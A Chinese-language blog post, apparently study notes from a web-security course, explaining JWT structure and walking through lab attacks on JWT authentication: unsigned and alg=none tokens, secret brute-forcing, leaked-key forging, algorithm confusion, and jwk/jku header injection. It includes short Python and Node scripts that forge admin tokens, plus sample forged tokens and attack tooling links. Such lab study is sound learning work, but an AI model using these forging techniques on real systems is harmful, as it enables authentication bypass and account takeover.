【Web攻防-27】身份验证篇&JWT令牌&空密钥&未签名&密钥爆破&JWK&JKU&KID&算法替换

JWT概念

JSON Web Token(JWT)。它遵循JSON格式,将用户信息加密到token里,服务器不保存任何用户信息,只保存密钥信息,通过使用特定加密算法验证token,通过token验证用户身份。基于token的身份验证可以替代传统的cookie+session身份验证方法。这使得JWT成为高度分布式网站的热门选择,在这些网站中,用户需要与多个后端服务器无缝交互。

java站点使用较多,php也有


JWT识别

三部分:头部、payload、签名,以 .分隔

eyJxxx.xxx.xxx

标头(Header)

Header是JWT的第一个部分,是一个JSON对象,主要声明了JWT的签名算法,如”HS256”、”RS256″等,以及其他可选参数,如”kid”、”jku”、”x5u”等

  • alg字段通常用于表示加密采用的算法。如”HS256″、”RS256″等HS256:对称性加密(同一的密钥加密和解密) 可以采用爆破密钥攻击RS256:非对称加密(公钥和私钥)
  • typ字段通常用于表示类型
  • 还有一些其他可选参数,如”kid”、”jku”、”jwk”等jwk:将密钥表示为JSON对象,相当于自定义的一套算法jku:把公钥信息放到指定的 URL 中,服务端通过访问URL来获取相应密钥进行校验,这样可以更灵活地切换密钥

有效载荷(Payload)

Payload是JWT的第二个部分,这是一个JSON对象,主要承载了各种声明并传递明文数据,用于存储用户的信息,如id、用户名、角色、令牌生成时间和其他自定义声明。

  • iss:该字段表示jwt的签发者。
  • sub:该jwt面向的用户。
  • aud:jwt的接收方。
  • exp:jwt的过期时间,通常来说是一个时间戳。
  • iat:jwt的签发时间,常来说是一个时间戳。
  • jti:此jwt的唯一标识。通常用于解决请求中的重放攻击。该字段在大多数地方没有被提及或使用。因为使用此字段就意味着必须要在服务器维护一张jti表, 当客户端携带jwt访问的时候需要在jti表中查找这个唯一标识是否被使用过。使用这种方式防止重放攻击似乎让jwt有点怪怪的感觉, 毕竟jwt所宣称的优点就是无状态访问

签名(Signature)

Signature是对Header和Payload进行签名,具体是用什么加密方式写在Header的alg 中。同时拥有该部分的JWT被称为JWS,也就是签了名的JWT。

对Header和Payload进行签名,具体是用什么加密方式写在Header的alg中。

同时拥有该部分的JWT被称为JWS,也就是签了名的JWT。

第一部分:对 JSON 的头部做 base64 编码处理得到

第二部分:对 JSON 类型的 payload 做 base64 编码处理得到

第三部分:分别对头部和载荷做base64编码,并使用.拼接起来

使用头部声明的加密方式,对base64编码前两部分合并的结果加盐加密处理,作为JWT


识别检测利用项目

BURP插件:Hae(识别)、JSON Web Tokens(必备)、JWT Editor(必备)

在线jwt分析:https://jwt.io/

jwt自动扫描:https://github.com/CompassSecurity/jwt-scanner(必备)

整合版:https://github.com/z-bool/Venom-JWT

爆破jwt密钥:https://github.com/ticarpi/jwt_tool

jwt密钥爆破字典:https://github.com/wallarm/jwt-secrets


靶场测试

参考:blog.csdn.net/weixin_44288604/article/details/128562796

通过未验证的签名绕过JWT身份验证(无视签名修改)

靶场:https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-unverified-signature

直接修改jwt中的payload部分,普通用户通过jwt未验证签名进行垂直越权

用户登录后发现jwt验证

发送到重放器

修改访问路径为 /admin

使用jwt editor插件修改jwt数据

修改winer用户为administrator

通过有缺陷的签名验证绕过JWT身份验证(alg置空)

靶场:https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-flawed-signature-verification

与上一关大体一致,但是头部alg(表示加密采用的算法)控制不严,并没有在代码中写死,而是根据数据包中提交的算法为准,所以此处可以使用alg置空攻击,写none则不加密

使用JSON Web Tokens插件

通过弱签名密钥绕过JWT身份验证(爆破密钥)

没有缺陷 + 有验证签名

HS256是对称加密只有一个密钥

尝试爆破密钥 字符爆破&字典爆破

工具:jwt_tool或hashcat

与上面一致,多了个修改签名

算法混淆 – 公钥私钥泄露

实战中:源码泄露或js中泄露

靶场:https://ctf.show/challenges#web349-833

打开题目提示js源码

访问/public.key和/private.key下载公钥和私钥

公钥解密就需要私钥加密

写一个python脚本

pip install PyJWT==1.7.1
import jwt
private = open('private.key', 'r').read()
payload={"user":"admin"}
print(jwt.encode(payload, key=private, algorithm='RS256'))

生成一个以私钥加密的payload为"user":"admin"的jwt数据

b'eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4ifQ.AH4YkjLWhtkoxco48abhQ7MUfxBgyfP3OffsS6cZmHtfLpVlv9t8bZAnW-CVbLkHfu4vzQI_OiPdBQP-a3xJIOq3hf0jsMAsijn-XKaaDZtv3cg4a0RvjpEHLYCN89KpigGHC0vtOb6OzffdmkPVN8vcYJby742vD_YhDDHw6pU'

post提交

算法混淆 – 密钥混淆攻击

靶场:https://ctf.show/challenges#web350-834

尝试在数据包中将验证方案改为HS256(对称加密),此时可以使用公钥加密、公钥解密

写一个js脚本

var jwt = require('jsonwebtoken');
var fs = require('fs');
var Key = fs.readFileSync('./public.key');
var token = jwt.sign({ user: 'admin' }, Key, { algorithm: 'HS256' });
console.log(token)
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJpYXQiOjE3NTY3OTQ4Nzl9.qZZwQzH-aB_9GrDqL0nGa5f4neT02Pwqln_uw82rcbo

通过jwk标头注入绕过JWT身份验证(jwk攻击)

逻辑:在jwt数据中,如果写有jwk标头,如果服务器直接将jwk带入识别,以jwk为准,会造成原有算法失效,转而使用jwk中的算法(jwk可以进行修改)

靶场:https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-jwk-header-injection

在burp导航栏中找到JWT Editor

新建一套jwk rsa密钥方案

在数据包中选择工具页面

注册完后再次选择攻击

通过jku标头注入绕过JWT身份验证

jwk衍生,将加密方案写在远程服务器上

{
  "kty": "RSA",
  "e": "AQAB",
  "kid": "1",
  "n": "0xkA6-2CPnEptcANiPyP3r0KF_zoUVcu46daIr19HktmYApiZWH7RzxM_YrckgTokvgKLoTQ-ch-5CrEvKmLhqes6cjH1iPevgMTaLyio3GBPCXJIyOgpoLP_Gq6_qCdITPFj1l3Jdj8LGENd0n2IDP_nci93eqNUnnKlSBlXGyJCnSST53FrAbZhv3kUdbQZYE66KxXZi36mC-mhKv1XQr1EogA6UAt11rizRW0ypWPg1fVydGCE27yA3Nmn3pPh7O1OInRSIklbz9ELilkpnJM0jProwiU1t7pOVgXruxxCZF0TVtXE78E34lSvqzyfwvd3lTNznxb-k6PRPe_AQ"
}

以json格式写入到靶场提供的服务器上:

{
   "keys": [
{
   "kty": "RSA",
   "e": "AQAB",
   "kid": "1",
   "n": "0xkA6-2CPnEptcANiPyP3r0KF_zoUVcu46daIr19HktmYApiZWH7RzxM_YrckgTokvgKLoTQ-ch-5CrEvKmLhqes6cjH1iPevgMTaLyio3GBPCXJIyOgpoLP_Gq6_qCdITPFj1l3Jdj8LGENd0n2IDP_nci93eqNUnnKlSBlXGyJCnSST53FrAbZhv3kUdbQZYE66KxXZi36mC-mhKv1XQr1EogA6UAt11rizRW0ypWPg1fVydGCE27yA3Nmn3pPh7O1OInRSIklbz9ELilkpnJM0jProwiU1t7pOVgXruxxCZF0TVtXE78E34lSvqzyfwvd3lTNznxb-k6PRPe_AQ"
}
  ]
}
​

然后修改数据包

然后垂直越权成功

通过kid头路径遍历绕过JWT身份验证

见参考

其他

参考:https://mp.weixin.qq.com/s/obiU3BaFoZ7272z2vS0QgQ

Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjo0MDcyNjE1MzE0fQ.mwI2P1j8CIvhxBKFvcyU7TNLBeuFtiUM1mPrKanF1w4
​
Content-Type: application/x-www-form-urlencoded
​
db=sample&q=show users

测试思路

首先找到需要JWT鉴权后才能访问的页面,如个人资料页面,将请求重放测试:

  • 未授权访问:删除Token后仍然可以正常响应对应页面
  • 敏感信息泄露:通过解密出Payload后查看其中是否包含敏感信息,如弱加密的密码等
  • 破解密钥+越权访问:通过解密出Payload部分内容,通过空加密算法或密钥爆破等方式实现重新签发Token并修改Payload部分内容,重放请求包,观察响应包是否能够越权查看其他用户资料
  • 检查Token时效性:解密查看payload中是否有exp字段键值对(Token过期时间),等待过期时间后再次使用该Token发送请求,若正常响应则存在Token不过期
  • 通过页面回显进行探测:如修改Payload中键值对后页面报错信息是否存在注入,payload中kid字段的目录遍历问题与sql注入问题

复盘

https://mp.weixin.qq.com/s/ITVFuQpA8OCIRj4wW-peAA

https://mp.weixin.qq.com/s/xuY1oTwFcM1pyiql0U3NPQ

https://mp.weixin.qq.com/s/AVW8DsnLiviopeJYQYKC3A

https://mp.weixin.qq.com/s/st0xma6KoRbo1NUp9rtZhw

https://mp.weixin.qq.com/s/9OL5jZK7S1MiEUb8Q_F1Pw


本节知识点

WEB攻防-JWT令牌-组成&识别&检测&安全

WEB攻防-JWT令牌-空算法&未签名&爆破密钥

WEB攻防-JWT令牌-JWK&JWU&KID&加密替换

十二亿七千光年
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇